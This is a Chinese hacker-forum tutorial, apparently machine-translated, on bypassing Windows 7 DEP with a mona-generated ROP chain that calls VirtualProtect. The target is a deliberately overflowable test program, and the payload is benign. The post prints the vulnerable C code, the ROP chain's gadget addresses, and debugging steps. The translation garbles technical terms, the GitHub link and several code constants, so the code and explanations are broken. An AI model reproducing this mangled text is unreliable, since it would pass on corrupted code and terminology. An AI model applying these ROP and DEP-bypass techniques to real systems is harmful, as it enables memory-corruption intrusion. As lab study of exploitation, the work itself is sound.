跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

Windows外壳代码学习笔记3354使用虚拟保护绕过DEP

精选回复

发布于

0x00 前言

在掌握了堆栈溢出的基本原理和利用方法后,接下来就是研究如何绕过Windows系统中堆栈溢出利用的重重保护,所以测试环境也从xp转移到Win7(与xp相比,Win7的保护更全面)。本文将介绍通过VirtualProtect绕过DEP的经典DEP绕过方法3354。

0x01 简介

本文将介绍以下内容:

VS2012的编译配置

利用免疫调试器的mona插件自动获取ROP链

ROP链的分析与调试

调用VirtualProtect函数时的Bug及修复

0x02 相关概念

DEP:

溢出攻击的根源是计算机没有明确区分数据和代码。如果代码放在数据段中,系统将执行它。

为了弥补这一缺陷,微软从XP SP2开始就支持数据执行保护。

DEP保护原理:

数据的存储页面被标记为不可执行。当程序溢出并成功转移到shellcode时,程序将尝试执行数据页上的指令。使用DEP,CPU将抛出一个异常,而不是执行指令。

DEP四种工作状态:

Optin

退出

永远在线

AlwaysOff

DEP绕过原理:

如果函数的返回地址不直接指向数据段,而是指向一个已有的系统函数的入口地址,则不会触发DEP,因为系统函数的页面权限是可执行的。

也就是说,你可以在代码区找到替代指令来实现shellcode的功能。

但是可用的替代指令往往有限,无法完全实现shellcode的功能。

因此,有一个折中的方法:通过替换指令关闭DEP,然后转而执行shellcode。

内存页:

x86系统中内存页的大小为4kb,即0x00001000,4096。

ROP:

面向返回的编程(面向返回的编程)

VirtualProtect:

布尔虚拟保护{

LPVOIDlpAddress,

DWORDdwsize,

DWORDflNewProtect,

PDWORDlpflOldProtect

}

地址:内存的起始地址。

Dwsize:内存区域大小

FlNewProtect:内存属性,PAGE_EXECUTE_READWRITE(0x40)

LpflOldProtect:内存原始属性存储地址

通过VirtualProtect绕过DEP:

在内存中寻找替代指令,填入合适的参数,调用VirtualProtect,将shellcode的memory属性设置为可读可写可执行,然后跳转到shellcode继续执行。

0x03 VS2012的编译配置

测试环境:

测试系统:Win 7 x86

编译器:VS2012

构建:发布

项目属性:

GS关闭

关闭优化

关闭SEH

关闭DEP

关闭ASLR

c异常禁用

禁用内部功能

具体配置方法:

配置-c/c-所有属性

检查它是否安全(/GS-)

启用c异常编号

启用内部功能编号

优化已禁用(/Od)

属性-链接器-所有属性

数据执行保护(DEP)否(/nxcompare:否)

随机基址编号(/DYNAMICBASE:NO)

该映像是否有安全异常处理程序(/SAFESEH:NO)

0x04 实际测试

测试1:

测试代码:

char外壳代码[]=

\ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 '

\ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 '

\ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 \ x41 '

\ x41 \ x41 \ x41 \ x42 \ x43 \ x44 \ x45 ';

无效测试()

{

充电缓冲器[48];

memcpy(buffer,shellcode,sizeof(shellcode));

}

int main()

{

printf(' 1 \ n ');

test();

返回0;

}

注:

Strcpy在执行过程中遇到0x00会提前截断。为了方便测试shellcode,strcpy会被memcpy代替,遇到0x00也不会被截断。

2-1.png

如上图,返回地址被成功覆盖为0x45444342。

测试2:

外壳代码起始地址是0x00403020。

按1

波普ECX

对应的机器码是0x0059016A。

用外壳代码起始地址覆盖寄信人地址。

Shellcode实现以下操作:

按1

波普ECX

其他位用0x90填充。

c代码如下:

char外壳代码[]=

\ x6A \ x01 \ x59 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 '

\ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 '

\ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 '

\ x90 \ x90 \ x90 \ x90 \ x20 \ x30 \ x40 \ x00 ';

无效测试()

{

充电缓冲器[48];

memcpy(buffer,shellcode,sizeof(shellcode));

}

int main()

{

printf(' 1 \ n ');

test();

返回0;

}

2-2.png

如上所示,shellcode被成功执行,ECX寄存器被赋值为1。

测试3:

开启德波,再次调试,发现外壳代码(外壳代码)无法执行,如图

010-3500002

测试4:

下载安装免疫调试程序

下载梦娜插件,下载地址如下:

github街339号。com/corelan/Mona

将莫娜巴拉圭放于c:\ program files \ immunity Inc \ immunity调试器\命令下

启动免疫调试器,打开test.exe

使用梦娜插件自动生成罗帕链,输入:

!莫娜罗普-m .dll -cp否空

如图

2-32.png

梦娜会搜寻所有的动态链接库文件,用于构造罗帕链

执行命令后在c:\ program files \ immunity Inc \ immunity调试器下生成文件ROP。txt ROP _ chains。txt ROP _建议。txt堆栈透视。文本文件(textfile)

查看rop_chains.txt,会列出可用来关闭-是吗的罗帕链,选择虚拟保护()函数

010-3500004

如上图,成功构建罗帕链

注:美元

不同环境有可能无法获得完整参数,需要具体环境具体分析

对应的测试概念验证(概念验证)修改如下:

未签名int外壳代码[]=类型

{

0x 909090.09090.09090.09090.09090.0,

0x 909090.09090.09090.09090.09090.0,

0x 909090.09090.09090.09090.09090.0,

0x909090,

0x77217edd,//流行EAX//RETN[kernel32.dll]

0x77171910,//ptr to virtual protect()[IAT内核32。dll]

0x 75 D7和9dd,//MOVEAX,dword ptr ds:[eax]/retn[内核基。dll]

0x779f9dca,//XCHG EAX,ESI//RETN[ntdll.dll]

0x779cdd30,//流行EBP//RETN[ntdll.dll]

0x75dac58d,//调用esp[KERNELBASE.dll]

0x693a7031,//流行EAX//RETN[MSVCR110.dll]

0x fffff,//要拒绝值,将成为0x00000201

0x69354484,//NEG EAX//RETN[MSVCR110.dll]

0x75da655d,//XCHG EAX,EBX //ADD BH,ch//dec ecx//retn0x 10[内核基。dll]

0x 699 bb 1,//流行EAX//RETN[MSVCR110.dll]

0x414141,//填料(RETN偏移补偿)

0x414141,//填料(RETN偏移补偿)

0x414141,//填料(RETN偏移补偿)

0x414141,//填料(RETN偏移补偿)

0 xffffffc 0,//要拒绝的值,将变为0x00000040

0x69354484,//NEG EAX//RETN[MSVCR110.dll]

0x771abd3a,//XCHG EAX,EDX//RETN[kernel32.dll]

0x6935a7c0,//流行ECX//RETN[MSVCR110.dll]

0x693be00d,//可写位置[MSVCR110.dll]

0x779a4b9a,//POP EDI//RETN[ntdll.dll]

0x69354486,//retn(ROP no)[msvcr 110。dll]

0x693417cb,//流行EAX//RETN[MSVCR110.dll]

0x909090,//否

0x 6990267,//PUSHAD//MSVCR110.dll RETN

0x 905916 a,//push 1//pop ecx//no

0x909090,

0x909090,

0x909090,

0x909090(消歧义)

}:

请参阅测试()

{

茶缓冲区[48];

printf(' 3 \ n ');

memcpy(缓冲区、shellcode、sizeof(外壳代码));

}

int main()

{

printf('1\n '):

测试();

返回0;

}

其中0x 905916 a(消歧义)为推1;持久性有机污染物ecx不要!的机器码,如果绕过德波,该指令将会成功执行

编译后在奥莱德锥齿轮中调试

单步跟踪到呼叫核心文学士.VirtualProtectEX,查看堆栈

可获得传入的函数参数

010-350035

如上图,不巧的是外壳代码(外壳代码)覆盖了我看到了链

这样会导致传入受虚拟保护的ex函数的参数不正确,调用失败,猜测调用受虚拟保护的ex函数的返回值为0

2-6.png

如上图,验证上面的判断,EAX寄存器表示返回值,返回值为0个,修改内存属性失败

解决思路:美元

我们需要扩大栈空间,将我看到了链下移,确保外壳代码(外壳代码)不会覆盖到我看到了链

解决方法:美元

修改源代码,通过申请空间的方式下移我看到了链

测试5:

关键代码如下:

int main()

{

printf('1\n '):

测试();

坦克车[…]

' m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 '

' m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 '

' m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 '

' m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 '

' m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 '

' m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 '

\ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 \ m90 ';

返回0;

}

编译程序,再次在OllyDbg中调试。

追踪呼叫KERNELBA。VirtualProtectEX一步到位查看堆栈。

2-7.png

SEH链成功“下移”并位于高位地址,该地址不在外壳代码的覆盖范围内。

此时,传递给VirtualProtectEX函数的参数是正确的。

按F8一步一步来,看看结果。

2-8.png

如上图,返回值为0,但修改内存属性仍然失败。

LastErr显示的错误是ERRPR_INVALID_ADDRESS(000001E7),表示地址错误。

测试6:

检查函数VirtualProtect()正常调用时的堆栈,对比test 5,分析失败原因。

该调用的正常实现代码如下:

int main()

{

void * p=malloc(16);

printf('0xx\n',p);

DWORD pflOldProtect

int x=VirtualProtect(p,4,0x40,pflOldProtect);

printf('%d\n ',x);

返回0;

}

测试7:

如果起始地址更改为不可访问的地址,如0x40303020

在OllyDbg中编译程序并调试。

追踪呼叫KERNELBA。VirtualProtectEX一步到位查看堆栈。

图形格式

2-9.png

按F8一步一步来,看看结果。

如图,出现同样的错误:errpr _ invalid _ address (00001e7)

3-1.png

猜测,shellcode传入的起始地址有问题。

继续我们的测试。

测试8

然后,测试5,单步跟踪调用KERNELBA。VirtualProtectEX尝试修改堆栈中的数据。

将内存地址0x0012FF2c修改为当前内存页的起始地址,即0x0012F000。

3-2.png

按F8一步一步来,看看结果。

如下图,寄存器EAX的值为1,即返回值为1,内存属性修改成功。

3-3.png

然后下去,在呼叫ESP的位置按下F7,并介入。

3-4.png

如上图,找到PUSH 1;POP ECX执行成功,测试成功,通过VirtualProtect成功绕过DEP,数据段外壳代码执行成功。

注:

在这种情况下,VirtualProtectEX一次只能修改4096长度的内存(即一个内存页的长度),不能跨页修改。如果越界,返回值为0,修改失败。

C调用的VirtualProtect函数不存在上述问题,而且可以跨页,长度大于4096。

0x05 小结

为了在Win7下搭建测试环境,需要特别注意VS2012的编译和配置。多重保护在提高程序安全性的同时,也给环境建设带来了麻烦。

不同系统下可供选择的指令往往是不同的,因此需要不断地改变思路,构建合适的ROP链。

另外,免疫调试器的mona插件可以方便ROP链的编写,但是需要更多的测试和优化来关注bug的存在。

如果外壳代码长度大于4096,使用VirtualProtect关闭DEP将会失败,因此您需要选择另一种方法。

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。